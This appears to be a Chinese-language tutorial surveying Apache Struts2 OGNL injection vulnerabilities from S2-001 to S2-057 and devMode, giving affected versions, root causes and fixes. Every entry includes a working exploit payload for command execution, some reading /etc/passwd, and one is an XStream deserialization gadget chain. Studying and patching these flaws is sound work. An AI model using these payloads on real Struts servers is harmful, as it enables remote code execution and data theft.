目录
Strusts 中使用 OGNL 为表达式语言。OGNL(Object Graphic Navigation Language) 对象图导航语言,通过简单语句可以任意读取对象的属性或调用对象的方法,遍历整个对象的结构图,实现对象属性类型的转换等功能。Struts2 的标签库都是使用 OGNL 表达式来访问 ActionContext 中的对象数据。
1、S2-001
影响版本:Struts 2.0.0 - 2.0.8
漏洞成因:
用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式 %{value} 进行解析,之后重新填充到对应的表单数据中。当用户提交的数据包含恶意代码时,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,紧接的执行了递归化查询数据,直接造成命令执行。
用户输入的表单内容,其参数会传递到 struts2-core-2.0.8.jar!\org\apache\struts2\components\UIBean.class 的 evaluateParams() 函数,参数本身会被经过一次处理为 %{password},之后进入 xwork-2.0.3-sources.jar!\com\opensymphony\xwork2\util\TextParseUtil.java 的 translateVariables() 函数,通过 while 被循环递归解析。
poc:
java
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"command"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞修复:
将 struts2 的关闭默认自动的进行表达式的安全解析 altsyntax 功能,使用其他方式进行递归化的查询,杜绝解析恶意参数。
2、S2-005
影响版本:Struts 2.0.0-2.1.8.1
漏洞成因:
- s2-005 漏洞的起源源于 S2-003 (受影响版本: 低于 Struts 2.0.12),
- struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。
- OGNL 表达式通过 **#**来访问struts的对象,
- struts 框架通过过滤 **#**字符防止安全问题
- 通过 unicode 编码 (\u0023 ) 或 8 进制 (\43) 即绕过了安全限制,
- 对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开。
用户传入的参数,在 xwork-core-2.1.6.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class 通过 getValueStack() 函数被获取,之后被传入 setParameters() 函数。在被解析之前,参数通过正则**[[\p{Graph}\s]&&[^,#:=]]*** 匹配过滤掉一些特殊字符,但使用 unicode 来代替 **#**即可绕过。
exp:
java
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
漏洞修复:
将 apache 系统参数值 denyMethodExecution 设置为关闭,然后将参数的拦截过滤系统进行了升级,更为严格的一个正则表达式过滤。
3、S2-007
影响版本:Struts 2.0.0 - 2.2.3
漏洞成因:
在 S2 中,用户可以设置表单每个字段的规则验证,如果类型转换错误时,就会进行错误的字符串拼接,通过闭合引号导致 ognl 的语法解析。
后端从 entry.getValue() 获取到输入的参数,当运算出现错误的时候,会发起强制类型转换,之后进入函数 getOverrideExpr。在函数 getOverrideExpr 中,传入的参数会在两边拼接单引号,使得参数可以逃逸字符串的包裹,进而被解析并导致代码执行。
转换过程:
java
'+(#application)+'
=>
''+(#application)+''
exp:
java
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
漏洞修复:
官方在 Struts2.2.3.1 中修复了这个漏洞,原理是引入了 StringEscape 函数转义单引号,使参数无法逃逸单引号的包裹。
4、S2-008
影响版本:Struts 2.1.0 -- 2.3.1
漏洞成因:
S2-008 涉及多个漏洞,主要原因是后端对传入参数没有严格限制,导致多个地方可以执行恶意代码。
1)第一种情是 S2-007,在异常处理时的 OGNL 执行;
2)第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是 java 的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理;
3)第三种需要开启 devModedebug 模式。
4)漏洞利用(第4种):
在struts.xml中配置了如下xml语句,开启debug模式:
java
<constant name="struts.devMode" value="true" />
传入payload:
java
?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29
漏洞修复:
增加对cookie的校验,关闭debug模式。
5、S2-009
影响版本:Struts 2.1.0 - 2.3.1.1
漏洞成因:
1)OGNL 提供了广泛的表达式 evaluate() 等功能。用户可以绕过 ParametersInterceptor 内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步 evaluate()。
2)ParametersInterceptor 中的正则表达式将 top ['foo'](0) 作为有效的表达式匹配,OGNL 将其作为 (top ['foo'])(0) 处理,并将 "foo" 操作参数的值作为 OGNL 表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何 String 变量中,并将其 evaluate() 为 OGNL 表达式,
3)由于 OGNL 语句在 HTTP 参数中,攻击者可以使用黑名单字符(例如**#**)禁用方法执行并执行任意方法,绕过 ParametersInterceptor 和 OGNL 库保护。
payload:
java
(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
漏洞修复:
官方在参数拦截器中,将接受参数的正则进行了升级
java
private String acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_']+";
=>
private String acceptedParamNames = "\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*";
6、S2-012
影响版本:Struts 2.1.0-2.3.13
漏洞成因:
主要原因为配置 Action 中 Result 时使用了重定向类型,并且还使用**{param_name}** 作为重定向变量。当触发 redirect 类型返回时,Struts2 会使用 **{name}**获取 UserAction 中 name 变量的值,在此过程中会对 name 参数的值执行 OGNL 表达式解析,因此可以插入任意 OGNL 表达式导致命令执行。
exp:
java
name=%25%7B#a=
(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22,%20%22/etc/passwd%22%7D)).redirectErrorStream(true).start(),#b=#a.
漏洞修复:
官方在struts2.3.14.1中设置了默认拒绝恶意OGNL表达式
7、S2-013/S2-014
影响版本:Struts 2.0.0-2.3.14
漏洞成因:
Apache Struts2的 s:a 和 s:url 标签中都有一个 includeParams 属性,可以设置成如下值
- none - URL 中不包含任何参数(默认)
- get - 仅包含URL中的GET参数
- all - 在URL中包含GET和POST参数
当 URL 中带有参数的时候,Struts2 会二次处理 URL,若参数中包含恶意的 Ognl 语句,则会按照Ognl 语法解析。
exp:
bash
a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()
漏洞修复:
官方修复 S2-013 是通过限制 %{(#exp)} 来阻止执行的,于是导致了 S2-014 的诞生。之后官方使用了 encode 函数来代替 translateAndEncode,在函数中去除了其他的处理,只保留了 urlencode功能。
8、S2-015
影响版本:Struts 2.0.0 - 2.3.14.2
漏洞成因:
当一个请求与任何其他定义的操作不匹配,它将被匹配 * ,同时所请求的操作名称将用于以操作名称加载 JSP 文件。并且,作为 OGNL 表达式的威胁值,使用 **{ }**可以在服务器端执行任意的 Java代码。因此这个漏洞是两个问题的组合:
- 请求的操作名称未被转义或再次检查白名单
- 在 TextParseUtil.translateVariables 使用组合 $ 和 % 开放字符时对 OGNL 表达式进行双重评估。
exp:
bash
http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action
漏洞修复:
官方限制了如下正则匹配的字符:
java
[a-z]*[A-Z]*[0-9]*[.\-_!/]*
9、S2-016
影响版本:Struts 2.0.0 -- 2.3.15
漏洞成因:
DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀,但这些前缀后面同时可以接 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用OGNL 表达式调用 java 静态方法执行任意系统命令。
exp:
java
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
漏洞修复:
替换如下jar包:
java
commons-lang3-3.2.jar
freemarker-2.3.22.jar
javassist-3.11.0.GA.jar
ognl-3.0.6.jar
struts2-core-2.3.24.jar
struts2-spring-plugin-2.3.24.jar
xwork-core-2.3.24.jar
10、S2-019
影响版本:Struts 2.0.0 - 2.3.15.1
漏洞成因:
当开启了 debug 模式,且传递了 debug 参数,在 DebuggingInterceptor 中的 intercept 函数中,会从 debug 参数获取调试模式,如果模式为 command,则将
expression 参数放到 stack.findValue 中,而最终参数会被传到 ognl.getValue 中,导致命令执行。
exp:
java
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
漏洞修复:
关闭debug模式,以及Apache Struts 2的Dynamic Method Invocation。
11、s2-032
漏洞成因:
当在struts2配置文件中开启动态方法引用功能:
java
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
请求 http://website/index.action?method:OGNL 时,请求的 OGNL 表达式会被执行,造成命令执行。
过程:
参数会经过处理存入到 ActionMapping 的 method 属性中。DefaultActionProxyFactory 将ActionMappping 的 method 属性设置到 ActionProxy 中的 method 属性。而DefaultActionInvocation.java 中会把 ActionProxy 中的 method 属性取出来放入到ognlUtil.getValue(methodName + "()", getStack().getContext(), action); 方法中执行ognl表达式
exp:
java
?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami
漏洞修复:
关闭动态方法引用功能。官方也对 DefaultActionMapper 的类进行了安全检测。
12、S2-045
影响版本:Struts2.3.5 -- 2.3.31、Struts2.5 -- 2.5.10
漏洞成因:
Struts2 的 Jakarta 插件默认解析上传文件的 Content-Type 头,在解析错误的情况下,会执行错误信息中的 OGNL 代码。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。
exp:
java
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
漏洞修复:
官方补丁:去掉了触发漏洞的值到对象转换的类 LocalizedTextUtil 中的 findText() 方法
13、S2-048
影响版本:Apache Struts 2.3.x 系列中启用了 struts2-struts1-plugin 插件的版本
漏洞成因:
在 Struts 2.3.x 版本上,实现 Action 兼容的 Showcase 插件 ActionMessage 类中,客户传输的可控的参数数据,被不正确地拼接处理,导致命令执行。
struts2-struts1-plugin 包中 Struts1Action.java 中 execute 函数调用了会执行 ognl 表达式的 getText 函数,传入恶意代码时即可被 ognl 解析,造成 rce。
exp:
java
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
漏洞修复:
避免使用 Apache struts2-struts1-plugin 这个插件。非必要的情况下可以将 Apache struts2-struts1-plugin-2.3.x.jar 文件从 "/WEB-INF/lib" 目录中直接删除。如果使用该插件时避免使用拼接的方式将原始消息直接传递给 ActionMessage。
14、S2-052
影响版本:Struts 2.1.2 - Struts 2.3.33、Struts 2.5 - Struts 2.5.12
原理:Struts2 REST 插件的 XStream 组件存在反序列化漏洞,使用 XStream 组件对 XML 格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。
exp:
XML
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
漏洞修复:
在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:
java
<constant name="struts.action.extension" value="xhtml,json" />
15、S2-053
影响版本:Struts 2.0.1-2.3.33、Struts 2.5-2.5.10
漏洞成因:
Struts2 在使用 Freemarker 模板引擎的时候,同时允许解析 OGNL 表达式。导致用户输入的数据本身不会被 OGNL 解析,但由于被 Freemarker 解析一次后变成 ognl 表达式,之后会被 OGNL 解析第二次,导致任意命令执行漏洞。
当在 Freemarker 标签中使用如下代码时,Freemarker 会将值当做表达式进行执行。
java
<@s.hidden name="redirectUri" value=redirectUri /><@s.hidden name="redirectUri" value="${redirectUri}" />
exp:
java
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
漏洞修复:
官方将 excludedPackageNames 设为了 UnmodifiableSet 类型的对象,在这个对象上调用 clear() 方法,就会抛出 java.lang.UnsupportedOperationException 类型的异常,程序进入异常处理分支,避免了后续恶意代码的执行。
16、S2-057
影响版本:Struts 2.3--2.3.34、Struts2.5--2.5.16
漏洞成因:
当 struts.mapper.alwaysSelectFullNamespace 设置为 true,并且 package 标签页以及 result 的param 标签页的 namespace 值的缺失,或使用了通配符时可造
成 namespace 被控制,最终namespace会被带入 OGNL 语句执行,从而产生远程代码执行漏洞。
exp:
java
/index/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
漏洞修复:
1)升级至受该漏洞影响的版本
2)修改配置文件:
固定 package 标签页以及 result 的 param 标签页的 namespace 值,以及禁止使用通配符。
17、S2-devMode
影响版本:当 Struts 开启 devMode 时,该漏洞将影响 Struts 2.1.0--2.5.1,通杀 Struts2 所有版本。
漏洞成因:
devMode模式,是为 Struts2 开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode 模式是关闭的,但不少网站上线时依
然开启了此模式。
当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
exp:
java
debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
漏洞修复:
关闭devMode模式,在struts.xml 设置:
java
<constant name="struts.devMode" value="false" />